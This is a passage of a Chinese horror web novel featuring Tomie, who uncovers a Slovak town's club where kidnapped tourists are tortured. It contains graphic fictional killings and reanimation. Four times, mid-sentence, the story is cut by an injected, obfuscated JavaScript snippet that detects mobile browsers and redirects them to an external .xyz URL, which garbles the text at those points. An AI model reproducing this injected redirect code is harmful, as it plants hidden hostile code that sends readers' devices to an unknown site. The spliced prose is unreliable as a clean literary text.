女孩沉默地歪歪头,下一秒便拖着装满学术资料和书籍的行李箱,走入了那间稍微有些陈旧的小店。 她找了张桌子,点了杯咖啡,掏出基斯卡教授给予的书本,仔细地阅读了起来。 厚厚的书籍中,记载了阿兹特克文化的起源与衰落,记载了阿兹特克人所崇拜的神明,以及自古以来的风俗习惯。 基斯卡教授所谓的“特斯卡特利波卡的化身”,并非空穴来风。 崇拜特斯卡特利波卡,也就是烟雾镜的人们,每年会在祭典中选出一位合适的祭品,让他担任一年的特斯卡特利波卡。 在这一年中,祭品就是众人崇敬的烟雾镜,也会享受到最高级别的礼遇。 因为一年后的祭典之日,虔诚的信徒们便会将这名冠以烟雾镜之名的祭品杀死。成为了特斯卡特利波卡的祭品会告别配偶,摔断最喜爱的笛子,独自走上金字塔顶端,最后让祭司取走他的心脏。 “……心脏……” 月子被挖去的,也是心脏。 隐约察觉到了其中的一些联系,富江的心忽然像是被什么东西戳了一下。 那种明显的不适感让她不得不放下书,坐在咖啡馆舒适的软椅上不断地喘着气。 被神明选为祭品本身即是件充满荣誉的事情。拿到了祭品的神明,也遵守诺言实现了献祭者的愿望。 而献祭者的愿望就是—— 一瞬间,咖啡馆里的温度似乎变低了。 原本坐在吧台前聊天的本地人抖了抖,疑惑地看向旁边敞开的窗户,并最终将它关上了。 突如其来的低温当然不是敞开的门窗带来的。 若是小泉凌此刻在这里,大概就会看到这可怕的一幕。 平日里脾气好得不得了的女孩,此刻笑容全失,冷着脸坐在桌前,漆黑的眼珠死死地看着书的封面。 而在少女脚下,早已无声无息地溢满了黑红色的泥,并且还在不断向外扩散,侵蚀,包裹着能接触到的一切东西。 但这种情绪波动,也仅仅持续了短短几秒。她很快就冷静了下来,手继续翻着书页,不断地学习着新获得的知识。 时间一点点流逝,咖啡馆的人来来往往,唯有富江坐在原位置上,认真阅读着手中的那本书。 当天空染上第一丝橙红色,富江终于合上了手中的硬皮书。她已经看完了其中所有的内容,并将知识点牢牢记到了脑子里。 现在,是该回旅馆的时候了。 结果刚一出咖啡馆的门,女孩就敏锐地察觉到,又有人在跟踪她。 直到进入咖啡馆前,她都并没有感知到有人尾随,也就是说…… “诶呀,真是多管闲事。” 女孩撅起嘴,小小地抱怨了一声,随即脑海中忽然蹦出了一个有趣的主意。 如果她就这样一直在外面游荡到深夜,那些跟踪的人又会做什么呢? 抱着这样的想法,富江开始漫无目的地在城中转悠。并且随着时间的推移,她有意识地开始往人少且偏僻的地方走。 天色越来越暗,街上的行人也越来越少,最后,拖着行李箱的富江拐进了一条无人而昏暗的小巷里。 她的步子越来越慢,越来越轻。身后,跟踪者的脚步则越来越快,呼吸也变得有些急促起来。 最后,女孩来到了一个死胡同。 她转过身,看向已经将唯一的出入口堵得严严实实的两名青年,笑了。 “我还在想你们会不会继续躲着。” 话一出口,两名跟踪女孩的本地青年惊讶地互相对视一眼。 因为此时此刻,眼前的亚裔女孩说的并非英语,也不是她的本国母语。而是他们熟知的斯洛伐克语。 “很惊讶我会你们的语言?”富江眯着眼微笑,但那笑意却未达眼底。“其实也是今天刚学会的,毕竟一路上你们都在不停说话,这给了我很充裕的学习机会。” 话说到这个地步,对面反应再迟钝也已经察觉到有什么东西不对劲了。 但这两个男人与还有些胆小怕事的当地居民不同,他们平日里干的就是绑票的活计,所以哪怕察觉到了不对,看着面前的女孩如此娇小柔弱,也就放松了警惕。 而这是他们二人今天做的最错误的决定。 脚步迈出的瞬间,男人们身后的阴影忽然动了起来。紧接着,一股股汹涌的,黑红色的泥状生物争先恐后地从漆黑的影子里爬了出来。 它们咆哮着,欢呼着,将唯一的出入口与光源彻底切断,同时,也扑向了两个毫无防备的男人。这两个可怜人甚至连惨叫都没来得及发出,就被泥牢牢堵住了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14649405|152321||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嘴,四肢也被瞬间缠附得动弹不得。 富江弯起了嘴角,微微扬起下巴,看着面前只能发出惊恐的呜呜声的二人。 明明两个异国的成年男子比她高出很多,女孩看着他们的眼神却有种俯视般的轻蔑感。 “我呢,其实不怎么喜欢主动攻击。” 陌生的异国语言从女孩口中倾泻而出,她的嗓音软软的,甜甜的,表情也一如既往的柔和。 但,仅限于这些。黑红色的泥在女孩的眼中逐渐蔓延,话语的最后,她的双目变成了两个深不见底的黑洞,开始不断流出黑红色的泥。 “但今天,我心情真的很不好。” 话音刚落,那些活着的“泥”便像是接到了指令一般,发出低沉的欢呼,攀附着青年们的身体,开始通过他们的眼耳口鼻,源源不断地向身体内侧涌去。 惊恐的声音瞬间化作悲鸣,几秒钟后又归于寂静,只剩下了什么滑腻的东西蠕动时发出的细微的动静。 男人们的手脚抽搐,嘴巴,眼睛,耳朵,鼻子都被黑红色的泥灌满了。 那些泥通过孔洞,进入他们的五脏六腑,包裹住大脑,渗透进血液,无声又迅速地融入活体的每一个细胞中。 “啊……就是这个……!” 富江陶醉地捧起脸,饥饿感在这一刻得到了满足。她不断地吸收着两名青年的负面情感,吞噬着他们脑中已有的一切。 她看到了这座小镇衰败的过去,看到了萧条的现在,看到了毫无希望的贫穷的镇民在外来者金钱的诱惑下,与他们勾结在一起。年轻又靓丽的本地青年们化作诱饵,引诱着单纯的旅客前来这座小镇。然而这些存着猎艳心思的旅客却不知道,自己最终会变成俱乐部里出售的玩具。 而客人们,他们有的会割开玩具的表皮,撕掉他们的四肢。有的则会选择用火和电,一点点把玩具毁掉。还有的,则会将玩具与其他食肉动物关在一起,自己只做个旁观者。 “嗯……虽然主要还是以金钱交易为主,但,你们不觉得这也是一种献祭吗?” 阿兹特克人为了不让世界因为神明之怒陷入毁灭,选择不断献祭生命。而这些游客,也是小镇为了维持生计与和平,不断献给俱乐部的“祭品”。 “呵呵呵,人类真有意思啊。你们认为呢?” 说着,富江抬起头,看向已经被黑泥侵蚀殆尽,倒在地上一动不动的两个本地青年。 “啊,不好意思,因为叔叔的意志力很强,所以我都忘了。” 承受这些泥,并让它们在体内游走,似乎并不是一件很舒服的事情。 特别是今天,因为心情不好,所以富江进食和读取记忆的时候压根没注意到自己下手是重还是轻。 如今,倒在地上的二人已经没了呼吸与心跳。 不过,这对女孩来说并不是什么大问题。 她歪歪头,驱动着那些泥,让它们代替血液,开始在两人的体内不断流动。 几秒钟后,地上那两具静止不动的尸体动了动,睁开了已经变成黑红色的眼睛。 他们“复活”了。 34. 第 34 章 看着两名高大的男性睁着黑红色的眼睛,面无表情地站起身,富江满意地拍了拍手。 这次她“复活”两人的手法与过往都不太一样。 对泉泽月子,她是通过力量重造了一颗心脏。对小泉凌,则是在撕掉他原本满是旧伤的□□后塑造新的给他。至于这两人,她只是将黑泥化作血液,不断在他们血管中流动而已。 简单来说,之后他们会像个正常人一样生活,但只要富江想,这两个人随时会重新死去,也会随时化作她的玩具,对她的命令言听计从。 虽然今天只是突发奇想做了个试验……效果看上去不错? 想到这,女孩脑子里指挥两人转圈,而现实中,面无表情,已经变成活人傀儡的绑架犯,也摇摇晃晃地转了个圈。 动作有点笨拙,这成功地把富江逗笑了。 她心情好了很多,也懒得再继续玩弄新得到的玩具,朝二人挥挥手,便离开了小巷。 几分钟后,这两名身强力壮的青年就会恢复意识。他们不会记得自己跟踪富江进了小巷之后的所有事情,在他们的记忆中,这个价值连城的值钱商品离开咖啡馆后,没多久就回到了旅馆。 至于富江,她哼着小曲,之前有些糟糕的心情一扫而空,在回去的路上已经开始计划之后准备做什么了。 首先当然是把特斯卡特利波卡调查清楚。虽说青年以神之名自称,但以富江的感觉来说,至少站在她面前的,虽然有区别,也还是个“人类”。 既然是人类,那就一定会有弱点。 女孩满脑子都是对未来的计划,连萦绕在鼻尖的恶意都无法勾起她的食欲。 不过回到旅馆的时候,她又遇到了一些新的麻烦。 “嘿,富江!谢天谢地你终于回来了。” 她刚进大厅,就看到道路尽头的加奈捏着手机慌里慌张地冲了过来,身后还跟着两个面生的异国青年。 “哇哦,等等,注意看路啊。” 挤在大厅的其他游客被女人撞到,发出不满的声音,但加奈却根本没空道歉。 她的神色很焦急,直接把捏着的手机递给了富江:“小雪,小雪不见了。” 富江眨了眨眼:“不见了?” 她低下头,看到了加奈手机上的照片。虽然很模糊,但画面中两个头靠在一起的男女,其中的女性正是与她们一同前来旅游的小雪。 至于另一个人—— “你好,你是加奈的同伴对吗?” 富江抬眼,看向面前与加奈同样焦急的两名异国青年。 “我们的朋友和你的朋友似乎一起离开了,你今天有见到他们俩吗?” 女孩摇摇头:“没有哦,我今天一天都在外面拜访一位学者,并没有见到他们。”说完,她又补充了一句:“其实早上睡醒的时候我就没见到小雪和加奈了。” 她记得加奈的英语没小雪好,所以最后一句话切换成了日语:“你昨天和雪去哪了?一晚上没回来。” 闻言,加奈的表情变得有些尴尬。而两名青年的表情则变得有些惊喜:“谢天谢地,你懂英文?” 四人连忙从走廊转移去了富江和小雪所在的客房。在富江熟练的英文沟通下,几人也总算是共享了各自的信息。 首先是同伴失踪的两名青年,黑色短发的叫做帕克,金棕色头发的则是乔什。他们从美国来到欧洲,开始是在荷兰游玩,在结识了来自冰岛的同伴奥利后,又在他人的指点下来到了斯洛伐克的这座小镇。 失踪的就是他们在荷兰认识的朋友,冰岛人奥利。 至于加奈和小雪这边,昨天和富江分开后她们去了酒吧享受夜生活,也成功结识了两名有意思的男性。后来就各自分开去和新认识的对象约会去了。 结果今天早上加奈回到旅馆,并没有看到小雪回来。没过多久,她就收到了一条来自小雪手机的信息,看到了朋友与奥利的合影。 问题是,前一天晚上与小雪一起约会的并非照片上的男人。 凭着对照片上男人的记忆,加奈先是找到了在旅馆中与她们有一面之缘的帕克和乔什,然后终于又等到了回来的富江。 至于为什么小雪不可能和来自冰岛的奥利一起离开。 首先,她和加奈以及富江是一同通过旅行社来欧洲的,一起来自然也要一起走。而且小雪的英文虽然比加奈好,却不如富江,她一个人离开还是有点难度。 至于帕克和乔什那边,两个青年对视了一眼,显得有些犹豫。 最后,还是黑发的帕克艰难地开口道:“好吧其实……奥利在冰岛是有妻子和孩子的。他对亚裔女孩子不感兴趣。” 两个完全没交集的人忽然同时退房,还发合影到各自的同伴手机上,这怎么看怎么不正常。 但无论加奈和两名美国青年怎么和店家说,对方也还是雷打不动的一句“客人退房了,其他事情我们不知道,你们和他们联系一下。” “见鬼,奥利根本不接电话,我们怎么联系。” 加奈则捏着手机,看着像是快哭了:“怎么办,富江……如果我昨天晚上不和她分开的话会不会——” 话没说完,女人的声音已经抖得不成样子。 富江拍了拍加奈的肩膀以示安慰,心中却在想今天遇到的两个男人的事情。 她没有在他们的记忆中看到有关加奈与小雪的事情,只有关于自己的。 她似乎在俱乐部高层那里得到了一个数额很高的估价,所以短短两天就变成了重点监视对象。 但那群人本来是没打算这么快就动手的,直到今天她找上了基斯卡教授。 那对夫妻在镇上算是名人,因为基斯卡教授在欧洲的名气很大。他之前在学术界很有地位,但因为与主流方向不同,加上性格顽固得罪了一些同行,所以才退休回家的。这事儿上过斯洛伐克的新闻报纸,所以老头子既是当地的名人,也是俱乐部要规避的对象。 富江一进基斯卡家的门就被人盯上了,在她离开之前,俱乐部上层也作出了指示,要求尽快把她带离城镇。 看来,在自己被盯上的同时,旅馆这边的拐人计划也没停下来。 ……莫非这就是所谓的贪婪? “嘿,奥利又发短信来了!” 乔什的惊叫声将各自陷入思绪的两名女孩拉回了现实,几人连忙凑到手机前。 这次也是彩信,只不过,是来自冰岛的男人的自拍。下面还附带了一条文字信息,用英文写着“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14661213|152321||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我回家了,再见。” 只一眼,富江就看出来,照片中的男人已经死了。 虽然与之前的一张照片同样模糊,但她就是知道。因为这张照片上的男人,已经满脸都是死意,一点鲜活的气息都没有了。 “不行,我给他打电话,他关机了。” 眼见旁边的两男一女各有各的难色,女孩低下头,瞳孔的颜色在昏暗灯光的遮掩下,变成了诡异的黑红。 她开始尝试着通过“傀儡”的眼睛去看。 首先映入眼帘的,是昏暗曲折的长廊。长廊两侧有不少生锈的铁门,顶上的排气扇缓缓转动着。 化作她眼睛的傀儡显然已经回到了自己的大本营,在这个幽暗又阴冷的地方熟练地左拐右拐。 她看着他下了一层楼,与一个身穿围裙,戴着口罩,推着铁架车的高大男性擦肩而过。 铁架车上堆着的,是人。 鲜血淋漓,死不瞑目,被像货物一般堆叠在一起的,人的尸体。 “富江……富江?” 身边传来声音,打断了女孩的窥视,她脸上的表情没变,只是转过眼珠看向叫出自己名字的青年。 是那个黑头发的,叫帕克的美国人。 “怎么了?” 帕克被女孩的眼神看得后背一凉,停顿了几秒,才道:“我听加奈说你们本来是后天才离开的,但……好吧,我们的同伴和你们的同伴都失踪了,我们明天要不要一起离开这里?” 友人与其他背包客的失踪引起了二人的警惕性,而在这个时候,抱团往往是最佳的,让人产生安全感的选择。 “好啊,我都可以。”富江笑了笑,扭头又看向同行人。“加奈呢,你想怎么办?” “我……” 长发女孩迟疑了几分钟,最后一次拨通了朋友的电话。最终,在又一次得到关机的答复后,她做出了选择。 “我们明天离开吧,和他们一起。” 在得到加奈与富江的承诺后,帕克和乔什还不死心,想打探到一点失踪伙伴的消息,于是又出门去了。 加奈打不通小雪的电话,现在也不敢一个人乱跑,只能苦着脸坐在旅馆大堂里看电视打发时间。 至于富江,和加奈打了声招呼后,女孩回到自己房间,干脆又看起了书。 顺便一提,她其实不看好其他三人定下的“明日离开”这一计划,要说为什么—— “那两个美国人呢?” “出门去了,他们还在找那个冰岛人。” “放心,他们明天就会去陪自己朋友了。” 富江耳边传来了几人的窃窃私语。 是的,如今,潜藏在影子中的泥早已将旅馆层层包裹住。只要在这件屋子里,无论是什么,都逃不过她的眼睛和耳朵。 “那西边屋子的高级货怎么办?” “没听那群西装佬说的吗?高级货要保证完好无损地送过去,她可金贵着呢。至于剩下那个,刚好最近有客户点名要亚裔女人。” “今天不是送过去了一个?” 回答问题的男人没有说话,而是回了一声略带嘲讽的笑。 看来小雪凶多吉少,而他们,恐怕也无法轻易离开这座小镇。 35. 第 35 章 “……唉……” 虽然不排斥猎物自投罗网,但现在富江还有点小小的烦恼。 关于特斯卡特利波卡神话由来的研究论文,她还没有看完。 她的学习速度是很快,但进行的时候向来不喜欢被人打扰。怎么说呢,就和进食的时候不喜欢被打断一个道理吧。 正在这时,房间的门忽然被敲响了。 “请进。” “……富江……” 是加奈,她从公共区域回到了房间里,神情有些萎靡。 “怎么了加奈?”对方的状态肉眼可见的差,就算是富江也不会装看不见。“是身体不舒服吗?还是,在想雪的事?” 女人的脸色苍白,扯了下嘴角:“都……有点吧。” 富江叹了口气,将书放在一边:“这只是个意外,小雪也是个成年人,谁都不会想到会发生这种事的。” 一被安慰,加奈再也撑不住了。没有嚎啕,也没有啜泣,她只是安静地抹着眼泪。 “对不起,这个时候我不该哭的,但是……对不起,我,我还想跟你道个歉。” 女人吸了吸鼻子:“其实昨天晚上,我们是故意没邀请你一起出去玩的。因为你……太漂亮了。” 她红着眼眶,看向面前的黑发女孩。她真的很漂亮,即使在阴云笼罩的现在,女孩的皮肤还是那么白嫩,哪怕蹙着眉也有种美人忧愁的姿态。 她们真的只是在那一瞬间,产生了一点点私心,想着富江如果不在,在酒吧里能遇到更多愿意和自己谈天的异性。 真的只是一点点。 所以即使知道落单会让女孩的感觉不好,甚至回去的路上还有可能遇到点小麻烦,但她们俩还是这么做了。 如今,同样单独行动的小雪下落不明,回想起当初自己轻飘飘的想法和行为,加奈悔不当初。 然而听了这些话,富江也没生气。 “好了,别多想了。” 她拍了拍加奈的肩膀,抽了几张纸替她擦掉眼泪。 “我本来第二天早上也有自己的计划啊,那个时间点回去刚好,你不用这么道歉。” “谢谢你富江,真的很谢谢你。” 得到了女孩的谅解,加奈心中沉重的愧疚感得到些许缓解。她擦掉眼泪,扯起嘴角露出了一个有些勉强的笑。 “……明天,我们就赶紧离开这个该死的地方!” 后来她也没离开房间,一直安静地坐在床上。 时间久了,富江在看书的闲暇中抬起头来一瞥,发现加奈已经靠在床边睡着了。 窗外,夕阳将天空染成了红色。 如今,正是逢魔之时。 女孩眨眨眼,忽然面无表情地站起身。 躺在床上的加奈睡得很沉。她没有盖被子,即使陷入沉睡也依然皱着眉,显然还在被朋友失踪一事所扰。 富江平静地看着她,缓缓伸出手—— 几滴黑红色的,浓稠的泥从指尖缓缓析出,滴落到了洁白的床单上。 床单并未被颜色所染,而那些“泥”接触了被单之后也像是有了生命一般,缓缓蠕动着,爬向了床上唯一的活物。 也就是睡着了的加奈。 “谢谢你能向我道歉。我本来,是不太想管这件事的。” 看着那些蠕动的,属于自己的一部分缓缓攀附到加奈身上,进入她的耳朵,富江轻轻开口。 “但是刚刚忽然想了一下,还是需要一个人帮我回去带个话。” 说着,她笑了。 “拜托了哦,加奈。” 她轻轻给女人盖上被子,像是什么都没发生一般,回去看起了书。 天色越来越昏暗,之前与两个女孩约定好今晚合住的帕克与乔什并未回归。同时,本来只是不小心睡着的加奈也不知道为什么,迟迟未能醒来。 富江老神在在,完全不困,利用剩余的时间疯狂阅读着从教授那里获得的书和资料。每读完一本,她就会将读好的书或者资料扔进自己的影子里。 时针指向午夜,当整栋旅馆都安静下来的那一刻,躺在床上睡着的加奈忽然动了一下。 紧接着,女人缓缓从床上爬起身,睁开了眼睛。 在那里原本白色与黑色的部分,皆被一片黑红所替代。 此刻,驱动这个女孩的,并非她自己的意识。 加奈面无表情地走下床,开始自顾自地收拾东西。而这期间,富江都像是没注意到一样,甚至开始一边看书,一边做笔记。 不多时,女人将自己的行李收拾好。她缓缓背起包,行至房间门口—— “出去的时候小心点哦。” 富江没有抬头,忽然轻轻说了这么一句话。 原本手已经握上门把手的女人忽然停滞了一下,但也就一秒,随后她便面无表情地带着行囊,离开了这间屋子。 接下来,这位失去了友人的,可怜的女人将会在车站苏醒,就算那两个美国人不回来,她也会准时坐上前往西班牙的火车,一路平安地回到日本。 至于富江,她一夜没睡,全神贯注地把老者交予自己的东西看完了。 在清晨的第一缕阳光照进窗户的那一刻,女孩轻轻合上了手中的硬皮书本。 她“看”到了即将到来的客人。 同时,门外响起了纷乱的脚步声。几秒钟后,房门被粗暴地打开了。 富江单手托腮,笑盈盈地看着眼前来者不善的几人。 “早上好啊,各位。找我有什么事吗?” 她的样子太淡定了,以至于本来还凶神恶煞的一群大汉迟疑地互相看了一眼,随即开始四处查看。 “嘿,和她一起的那个女人不见了!” 伴随着一名戴帽子青年的惊呼,为首的男人脸色阴沉下来。 “怎么回事?” “不知道啊,她白天进房间了就一直没出去。” 他们是用斯洛伐克语交流的,自然也就没顾及笑吟吟坐在椅子上的富江。 不过可能是因为她的表情太淡定了,带头的男人眯起眼用英文问道:“和你一起的女人呢?” “你是说加奈?还是小雪?”富江眨眨眼,“加奈睡到半夜就走了,我叫她都叫不住。至于小雪……” “不是你们把她带走的吗?” 她拖长了尾音,声音软软的,像是在撒娇,说出的话却让几人瞪圆了眼睛。 最后还是领头的那个反应快。 “算了,跑了一个也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14680357|152321||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不亏,留下的这个才是老板指名要的。” 男人向身边的手下示意。 “带她走。” 几个男人走上前,他们原本是想防止富江挣扎呼救,并把她抓住。谁知走到女孩跟前,看着对方笑眯眯的,对视了几眼,几个人愣是没人敢动手。 最后还是富江整理了一下头发,自己站起身来。 “不是要带我走吗,还愣着干什么?” “这位小姐胆子倒是不小。” 看她这幅样子,为首的被其他人当做老大的中年男人冷哼了一声,越过几人,来到她的面前。 “聪明,勇敢,为同伴着想……” 说着说着,男人忽然伸手,捏住了富江的下巴。 说实话,这个动作非常强硬。如果是一般人,可能这时候都要被吓哭了吧。 但黑发的女孩没有,她只是配合着男人的动作,扬起下巴,勾着嘴角朝他笑。 本来者不善的中年男人挑了挑眉毛,随即呲着牙,笑了起来。 “一个天真的,愚蠢的,可怜的小女孩。” 他笑的时候,脸颊上有个地方会不自然地凹陷下去,仔细一看能发现那里有道疤。另外,捏着富江下巴的手上,也有着厚厚的老茧。 “来吧,带我们的小姐去看看什么叫真正的地狱。” 富江被带离了旅馆。 因为人醒着,再加上态度很顺从,这群人并没有太粗暴,只是把她带进了一辆车,驶离了尚且无人醒来的旅馆。 清晨的小镇雾气蒙蒙,旅人和住人都沉浸在梦乡里。 女孩缓缓闭上眼。 她看到了加奈,借助她的泥,女人带着行李避开了街道上那些酒店的同伙,正缓慢地接近着车站。 她看到了自己的“傀儡”,现在正在俱乐部里,把新的,尚且昏迷着的猎物拖进房间。而这个猎物,甚至有点眼熟。 富江眯起眼,用傀儡的身体缓缓凑近,看清了那名褐色头发青年的样貌。 她记得他叫……乔什?是跟加奈搭话,同伴失踪的美国人。 没想到,过了一晚上,那两个心生警惕的美国人已经有一个被抓住了。 “怎么,害怕得不敢睁开眼睛了?” 身旁的声音让富江回到现实。 意识回笼的瞬间,即使尚未睁开眼,她也已经感受到了那股浓烈的,漆黑的,美味得让人发狂的气息。 有那么一瞬间,女孩甚至想丢开理智,就在这里敞开肚子,尽情享受美味。 但最后,她还是忍住了。 怎么说呢,人类和神明都有好奇心,她也有。 这个地方的怨念赶超佐伯宅,一个美丽的小镇都被恶意侵染,就算是富江,也会产生点探究的好奇心。 想到这,女孩睁开眼睛,车子也恰好停在了一个很大的建筑物旁。 正是傀儡所在的那个地方,而且,距离小镇并不远。只是之前那些黑气萦绕在整个小镇,富江又不想刺激自己的食欲,没有特地去进行搜索。 这地方就这么被漏过去了。 “到了亲爱的小姐。” 面上有疤的男人将她拽下车,咧着嘴,不怀好意地笑了。 “欢迎来到地狱。” 36. 第 36 章 富江被带到了一间昏暗的房间里。 因为她很配合,押送她的人并没有动粗,把她丢进屋子就离开了。 至于那个脸上有疤的男人,他似乎是这些人里能够发号施令的那个,在门口交代完手下就走了。看样子是要去跟顶头上司汇报。 关押她的房间只有一盏昏暗的吊灯,地面与墙壁都是灰扑扑的水泥。女孩用手摸了摸墙壁,是潮湿的。似乎在她来之前,这间屋子刚刚被打扫过。 也难怪,即使用了大量的水冲洗,墙上还有几个正在运转的排气扇,也挡不住屋子里弥漫的,淡淡的血腥味。以及只有富江能看到,残留在屋内的,漆黑浓重的负能量。 这间屋子死过很多人。 女孩闭上眼,感受着那股汹涌的,压得人喘不过气来的怨念,再也抑制不住胸中的鼓动,嘴角拉开了巨大的弧度。一瞬间,原本有着绝世美貌的女孩,就像是变成了某种异界生物一般。 她睁开眼,黑红色早已将原本美丽的双目填满, 那些绑匪,旅馆,根本都是杯水车薪,她太饿了,太饿了,已经快要控制不住自己了。 所以,吃一小口,也是没事的吧? 动了这个念头的瞬间,富江脚下的黑影瞬间扩散至整个房间,所有的声音都仿佛被隔绝了。 女孩缓缓仰起头,陶醉地笑着,从影子中满溢而出的泥开始大口大口吞噬着屋内的能量。 不多时,那些浓重的黑气便消失殆尽。 而富江,吞噬掉屋内的黑气后,饥饿感得到满足的同时,也看到了更多的,与这幢屋子有关的信息。 屋内的黑气并非一人能够形成,经年累月,无数枉死在房间里的人不断徘徊在自己死亡的现场。有无法离开的,也有不想离开的。最终,留存的记忆所剩无几,只剩下了怨毒的恨意。就像佐伯家的宅邸那般,他们同化在了一起。 “嗯……不过还是太弱了吗?” 屋内漆黑的能量已经被黑泥尽数吃完,女孩满足地叹了口气,自言自语着,转身来到黑泥盘踞的屋内的一角,蹲下身来。 角落里,蜷缩着一个浑身赤///裸的棕发男人。 他是今天刚死在这间屋子里的,尚未被化作怨念的黑气吞噬。男人像是婴儿一般地抱膝躺在地上,不断发出痛苦的呻吟。 可以看到,他身上除了一些明显的伤口之外,双脚的脚后跟被割断了,脖子上也有道长长的伤口。 受尽折磨而死的灵魂得不到解脱,即使死了,也会不断闪回自己死前恐怖的回忆。 “即使怨念缠身,也无法借由这些复仇,因为对方是比你们更加恶劣也更加可怕的存在。” 富江说着,伸手摸了摸那个已经死去却不知道自己死去,依然沉浸在被折磨的痛苦中的,男人的脸。 “真可怜啊,乔什先生,你的朋友现在一定也在找你。” 神奇的事情发生了。 女孩的手指接触到乔什皮肤的那一刻,男人脸上的原本痛苦混沌的表情松弛了下来。几秒钟后,原本抱成一团缩在角落里的他恢复了神志。 “等……等……我在哪?” 名为乔什,美国出身的青年抬起头,迷惑地看向富江,随即表情又变得惊恐。 “哦!不,不……!你也被抓了进来,他们会杀了你的!” “嘘——乔什先生,冷静,冷静一点。” 像是诱哄孩童一般,女孩轻轻拍着男人的脊背。 而惊恐万分的乔什也后知后觉地抬起头,看向四周。最终,当青年的视线落在富江脸上的那一刻,他发出了一声细碎的悲鸣,用尽全身的力量想从女孩面前逃开,却又失败了。 “我很抱歉,乔什先生。虽然能够让你恢复神志,但是你的状态已经被定格在了死去的那一刻。” 富江的双眼早已被黑红色彻底填满,此刻,正源源不断地流出那些饥饿的泥,就像是哭泣一般。 但女孩的脸却是笑着的。一如他们第一次见面那样温柔。 “你现在大概连站起来都很困难。” 话音刚落,躺在地上的青年发出了一声痛苦的呻吟。混沌的思维逐渐变得清晰,身体上的疼痛也源源不断地刺激着乔什的大脑。 他终于想起了一切。 一个多小时以前,被割断脚后跟的肌腱后,自己被那个在列车上有过一面之缘的,自称是俱乐部客人的男人拖回了刑房折磨致死。 是的,他已经死了。 “真可怜啊,就算恢复神志,你第一反应也是想让我这样的陌生人快离开这里。” 将乔什狂乱而恐惧的情绪吸收殆尽后,富江怜爱地抚摸着这个痛苦灵魂伤痕累累的脸。 “不该是这样的。” 是的,不该是这样。 即使来这个小镇怀着旖旎的心思,即使有自己的小情绪,这些人终究也是什么都不知道的,无辜的旅客。 愚昧的羔羊被残忍地屠杀,却到死都不知道自己犯了什么错,要遭受如此磨难。 又或者,他们本来就没错。 富江听到了,枉死的冤魂发出哭喊,一遍又一遍地在这片活人制造的地狱中,不断体验着自己的死亡。 哪怕怨念横生,白羊早已化作黑羊,柔软的羔羊也无法凝聚出掀翻恶魔的力量,无法击败那可怕的,贪婪的,充满恶意的欲望。 但,现在不一样了。 因为她来到了这里。 “亲爱的乔什先生。” 女孩轻轻俯下身,凑近颤抖的男人,漆黑的发丝纷纷垂落在那张惊恐的脸上。 “告诉我,你想做什么?” 言语间,窸窸窣窣的声音响起,富江转动眼珠,瞬间,那些潜藏在阴影中的,与她共生的“泥”,也纷纷睁开了“眼睛”。 “告诉我,你们,想做什么?” ------------------------------------- 帕克气喘吁吁地奔跑着。 原本,他与好友只是来欧洲旅游,但为何一次简单的猎艳之旅会变成如今的样子? 昨晚在与两位异国的女性约定一同离开小镇后,他与乔什出门寻找好友,最后当然是无功而返。 秉着反正都要走了的心态,帕克昨夜在酒吧买醉,不小心睡倒在了储物间,早上回旅馆才发现,自己的好友也失踪了。 他不认可旅馆工作人员的话,在寻找乔什的途中,被人送进了这个由活人打造的魔窟。 当所有的诡异之处与怀疑都得到证实, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14699655|152321||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 帕克绝望地发现,原来所有来这座小镇的旅客,都是这群人的“猎物”。 身上的伤口还在隐隐作痛,男人裹紧身上的大衣,避开了周边巡逻的人。 万幸的是,在被抓住的过程中,帕克找机会杀了原本要虐杀自己的客人,逃了出来。 他穿上了从休息室找到的属于客人的衣服,偷走了一把枪,现在正在旅馆外焦急地寻找着可以带自己逃离这里的交通工具。 没过多久,那辆将自己送进俱乐部的车映入男人的眼帘。 帕克眼中闪过希望,赶忙敲碎玻璃打开车,坐了进去。 